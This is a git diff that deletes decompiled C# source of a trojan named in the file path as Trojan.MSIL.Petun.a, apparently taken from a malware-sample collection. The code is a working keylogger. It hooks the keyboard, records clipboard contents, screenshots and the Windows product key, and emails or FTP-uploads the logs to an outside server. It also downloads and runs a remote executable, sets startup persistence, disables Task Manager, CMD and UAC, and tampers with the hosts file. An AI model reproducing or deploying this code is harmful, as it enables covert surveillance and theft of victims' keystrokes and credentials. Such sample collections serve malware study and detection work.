SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - Chqqp.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) Chqqp.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - Chqqp.EnumChildWindows(window, new Chqqp.EnumDelegate(Chqqp.EnumChildWindows), 0); - } - - public static bool Running - { - get => Chqqp.t.Enabled; - set - { - if (value) - { - if (Chqqp.t.Interval != 500) - { - Timer t = Chqqp.t; - Chqqp.t.Tick += new EventHandler(Chqqp.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - Chqqp.t.Enabled = true; - Chqqp.t.Start(); - } - } - else - { - Chqqp.t.Enabled = false; - Chqqp.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = Chqqp.GetClass(lngHwnd); - string titleText = Chqqp.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - Chqqp.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - Chqqp.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (Chqqp.GetWindowTextLength(handle) + 1); - Chqqp.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Module1.cs deleted file mode 100644 index b0c42f39..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool DmwDyLbqx = false; - private static bool iYEyzxDnu = false; - private static bool uZXGtPFvK = false; - private static bool vbyRdROIa = false; - private static bool EFPmTwNsz = false; - private static bool ZgLlXmqtl = false; - private static string JTCCob = "5"; - private static string MyDcQO = "AaD"; - private static int CIEQTh = 4; - private static string wMeySM = "wcBS"; - public static string ItmtYk = "CurrentUser"; - private static string ShaKru = "sSdXpZ"; - private static string pcEZYBiz = "sgeYqnKgFL"; - private static string YuRphdpG = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "Connection", - "You are connected with facebook.com-Port:5464", - "64" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = true; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool NtNTbQvF = false; - private static string ssIMPHf = "http://www.exampleserver.com/directfile.exe"; - private static bool SXkhQdD = false; - private static string ayQqRcW = "setup.exe"; - private static bool JYFLemcID = false; - private static bool uQSbkfJ = true; - private static string ffeiUNU = "m1LJe8B9Xrsx/crnBsegBA=="; - private static string tpCShDqzX = "ftp.drivehq.com"; - private static string xNGpXau = "hypmz0StNRYRo96YkdsPkQ=="; - private static string CdzyaIZMQ = "/"; - private static string NQTLjNrbX = ""; - private static string tVrESzRDH = "LHs1gVoZGRA="; - private static string NJUYmIKTc = "LHs1gVoZGRA="; - private static string DDCHrkrWj = ""; - private static string JLgJN = ""; - private static string HiFEf = "----[ "; - private static string itnGD = " ]----"; - private static bool UkzVJ; - private static bool qLQYO; - private static bool UryGk = true; - private static bool TLjyr = false; - private static bool WbolU = false; - private static bool qEfze = true; - private const int LdlbHC = 257; - private const short jKKZPS = 256; - private const int Ztjaoy = 260; - private const int RsNrQh = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string tnGpM; - - public static string FQhvEFO - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string godJFFE - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string xOEHyXB - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string VjtccPQ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string daUmjHqBH - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.Demzbv lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int DFOYT(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string KnSCxmHwn() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object DZlzh() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void zJgbFHntN() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.TbQvrrpug); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void IaXtQ() - { - try - { - if (!Conversions.ToBoolean(Module1.DZlzh()) || Module1.DFOYT((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string YueouqDUU( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int TbQvrrpug(int Code, int wParam, ref Module1.Demzbv lParam) - { - int num; - try - { - object obj = (object) Module1.KnSCxmHwn(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.tnGpM = Conversions.ToString(Operators.ConcatenateObject((object) Module1.tnGpM, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.HiFEf), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.itnGD), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.tnGpM.EndsWith(Module1.itnGD + "\r\n") | !Module1.TLjyr | Module1.tnGpM.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.tnGpM = Module1.tnGpM.Remove(checked (Module1.tnGpM.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.UryGk) - { - Module1.qLQYO = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.UkzVJ) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.UkzVJ | Module1.qLQYO) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.UkzVJ ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.UkzVJ ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.UryGk) - { - Left = " [UkzVJ] "; - break; - } - Module1.UkzVJ = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.UkzVJ) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.UkzVJ) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.UryGk) - Left = "[/UkzVJ]"; - Module1.UkzVJ = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.tnGpM += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.GEJgnuY(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.kzEHx(Conversions.ToInteger(Module1.Delay)); - string dcQo = Module1.MyDcQO; - Module1.MyDcQO = Operators.CompareString(dcQo, "AaD", false) != 0 ? (Operators.CompareString(dcQo, "FaF", false) != 0 ? (Operators.CompareString(dcQo, "MaD", false) != 0 ? (Operators.CompareString(dcQo, "SaF", false) != 0 ? (Operators.CompareString(dcQo, "WaF", false) != 0 ? Module1.MyDcQO : Module1.daUmjHqBH) : Module1.VjtccPQ) : Module1.xOEHyXB) : Module1.godJFFE) : Module1.FQhvEFO; - Module1.tVrESzRDH = Module1.TripleDESDecode(Module1.tVrESzRDH, "System.Net"); - Module1.NJUYmIKTc = Module1.TripleDESDecode(Module1.NJUYmIKTc, "System.Net"); - Module1.ffeiUNU = Module1.TripleDESDecode(Module1.ffeiUNU, "System.Net"); - Module1.xNGpXau = Module1.TripleDESDecode(Module1.xNGpXau, "System.Net"); - Module1.YuRphdpG = "\\" + Module1.YuRphdpG; - if (Operators.CompareString(Application.StartupPath, Module1.MyDcQO, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.MyDcQO + Module1.YuRphdpG)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.JYFLemcID) - { - ref string local1 = ref Module1.NQTLjNrbX; - ref string local2 = ref Module1.tVrESzRDH; - ref string local3 = ref Module1.NJUYmIKTc; - ref string local4 = ref Module1.DDCHrkrWj; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.JLgJN); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.JLgJN = Conversions.ToString(integer); - } - if (Module1.uQSbkfJ) - { - ref string local9 = ref Module1.tpCShDqzX; - ref string local10 = ref Module1.CdzyaIZMQ; - ref string local11 = ref Module1.ffeiUNU; - ref string local12 = ref Module1.xNGpXau; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.NtNTbQvF) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.ayQqRcW)) - System.IO.File.Delete(Path.GetTempPath() + Module1.ayQqRcW); - MyProject.Computer.Network.DownloadFile(Module1.ssIMPHf, Path.GetTempPath() + Module1.ayQqRcW); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.ayQqRcW)) - { - if (Module1.SXkhQdD) - Process.Start(Path.GetTempPath() + Module1.ayQqRcW, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.ayQqRcW); - } - } - if (Module1.DmwDyLbqx) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.CIEQTh == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.uZXGtPFvK) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.vbyRdROIa) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.EFPmTwNsz) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.ZgLlXmqtl) - Interaction.Shell("C:\\Windows\\System32\\EFPmTwNsz.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.iYEyzxDnu) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.MyDcQO + Module1.YuRphdpG); - Process.Start(Module1.MyDcQO + Module1.YuRphdpG); - if (Operators.CompareString(Module1.ShaKru, "Melt", false) == 0) - Module1.GEJgnuY(); - else if (Operators.CompareString(Module1.ShaKru, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new UDDppRZmO(Module1.pcEZYBiz).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.ItmtYk, "CurrentUser", false) == 0 | Operators.CompareString(Module1.ItmtYk, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.wMeySM.Length != 4) - { - string[] strArray = Strings.Split(Module1.wMeySM, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.zJgbFHntN(); - switch (Module1.CIEQTh) - { - case 3: - new Thread(new ThreadStart(Module1.VqenLGj)).Start(); - break; - case 4: - Chqqp.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.tnGpM, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.WbolU) - str = str + "System Information - \r\n" + Module1.PrvKUpD() + "\r\n"; - if (Module1.qEfze) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.tnGpM = str + Module1.tnGpM; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.CStsJyBsS)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.JYFLemcID) - { - ref string local1 = ref Module1.NQTLjNrbX; - ref string local2 = ref Module1.tVrESzRDH; - ref string local3 = ref Module1.NJUYmIKTc; - ref string local4 = ref Module1.DDCHrkrWj; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.JLgJN); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.JLgJN = Conversions.ToString(integer); - } - } - while (!Module1.uQSbkfJ); - Module1.UpFTPImg(ref Module1.tpCShDqzX, ref Module1.CdzyaIZMQ, ref Module1.ffeiUNU, ref Module1.xNGpXau); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void CStsJyBsS() - { - string tnGpM = Module1.tnGpM; - Module1.tnGpM = ""; - if (Module1.JYFLemcID) - { - ref string local1 = ref Module1.NQTLjNrbX; - ref string local2 = ref Module1.tVrESzRDH; - ref string local3 = ref Module1.NJUYmIKTc; - ref string local4 = ref Module1.DDCHrkrWj; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref tnGpM; - int integer = Conversions.ToInteger(Module1.JLgJN); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.JLgJN = Conversions.ToString(integer); - } - if (!Module1.uQSbkfJ) - return; - Module1.UpFTP(ref Module1.tpCShDqzX, ref Module1.CdzyaIZMQ, ref Module1.ffeiUNU, ref Module1.xNGpXau, ref tnGpM); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.JTCCob) * 60.0 * 1000.0)))); - - private static void kzEHx(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string lpPpBuN(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string PrvKUpD() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.lpPpBuN((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.lpPpBuN((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: 